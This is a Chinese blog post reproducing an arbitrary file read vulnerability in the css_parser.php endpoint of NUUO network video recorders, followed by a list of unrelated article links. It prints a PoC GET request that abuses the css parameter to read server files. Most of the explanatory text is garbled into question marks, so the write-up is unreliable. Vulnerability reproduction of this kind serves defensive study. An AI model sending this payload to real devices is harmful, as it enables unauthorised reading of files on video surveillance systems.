NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现-白红宇

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

阅读量：795 次

发布时间：2023-02-17

本文共 764 字，大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址：http://hwnfk.baihongyu.com/

你可能感兴趣的文章

NUC1077 Humble Numbers【数学计算+打表】

查看>>

NuGet Gallery 开源项目快速入门指南

查看>>

NuGet(微软.NET开发平台的软件包管理工具)在VisualStudio中的安装的使用

查看>>

nuget.org 无法加载源 https://api.nuget.org/v3/index.json 的服务索引

查看>>

Nuget~管理自己的包包

查看>>

NuGet学习笔记001---了解使用NuGet给net快速获取引用

查看>>

nullnullHuge Pages

查看>>

NullPointerException Cannot invoke setSkipOutputConversion(boolean) because functionToInvoke is null

查看>>

null可以转换成任意非基本类型(int/short/long/float/boolean/byte/double/char以外)

查看>>

Number Sequence（kmp算法）

NumPy 库详细介绍-ChatGPT4o作答

查看>>

NumPy 或 Pandas:将数组类型保持为整数，同时具有 NaN 值

查看>>

numpy 或 scipy 有哪些可能的计算可以返回 NaN?

查看>>

numpy 数组 dtype 在 Windows 10 64 位机器中默认为 int32

查看>>

numpy 数组与矩阵的乘法理解

查看>>